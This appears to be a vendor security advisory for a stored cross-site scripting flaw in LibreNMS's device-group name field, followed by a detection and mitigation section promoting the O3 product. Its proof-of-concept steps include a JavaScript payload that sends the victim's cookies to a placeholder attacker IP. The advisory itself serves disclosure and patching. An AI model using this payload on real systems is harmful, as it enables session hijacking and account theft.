Description
Summary
/device-groups name Stored Cross-Site Scripting
- HTTP POST
- Request-URI(s): "/device-groups"
- Vulnerable parameter(s): "name"
- Attacker must be authenticated with "admin" privileges.
- When a user adds a device group, an HTTP POST request is sent to the Request-URI "/device-groups". The name of the newly created device group is stored in the value of the name parameter.
- After the device group is created, the entry is displayed along with some relevant buttons like Rediscover Devices, Edit, and Delete.
Details
The vulnerability exists as the name of the device group is not sanitized of HTML/JavaScript-related characters or strings. When the delete button is rendered, the following template is used to render the page:
resources/views/device-group/index.blade.php:
@section('title', __('Device Groups'))
@section('content')
<div class="container-fluid">
<x-panel id="manage-device-groups-panel">
// [...Truncated...]
@foreach($device_groups as $device_group)
// [...Truncated...]
<button type="button" class="btn btn-danger btn-
sm" title="{{ __('delete Device Group') }}" aria-label="{{ __('Delete') }}"
onclick="delete_dg(this, '{{$device_group->name }}', '{{ route('device-groups.destroy', $device_group->id)
}}')"> // using the device's name in the Delete button functionality without
sanitizing for XSS related characters/strings
As the device's name is not sanitized of HTML/JavaScript-related characters or strings, this can result in stored cross-site scripting.
PoC
- Login
- Select Devices > Manage Groups
- Select New Device Group
- Input 12345');var pt=new Image();pt.src='http://<ATTACKER_IP>/cookie-
- '.concat(document.cookie);document.body.appendChild(pt);delete_dg(this, '12345 into
- the "Name" input box (change <ATTACKER_IP> to be an the IP of an attacker controlled webserver)
- Select "access_points.accesspoint_id" as the Conditional input
- Input 1 into the Conditional value input box
- Select Save
- Select the Delete Icon for the newly created Device Group
- Select OK
- The JavaScript payload is not sanitized and an HTTP request will be sent to the attacker controlled
- server, leaking the user's cookies.

Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for librenms/librenms. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update librenms/librenms to 26.2.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-5pqf-54qp-32wx is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-5pqf-54qp-32wx is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-5pqf-54qp-32wx. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-5pqf-54qp-32wx in your dependencies?
O3 detects GHSA-5pqf-54qp-32wx across Packagist dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.
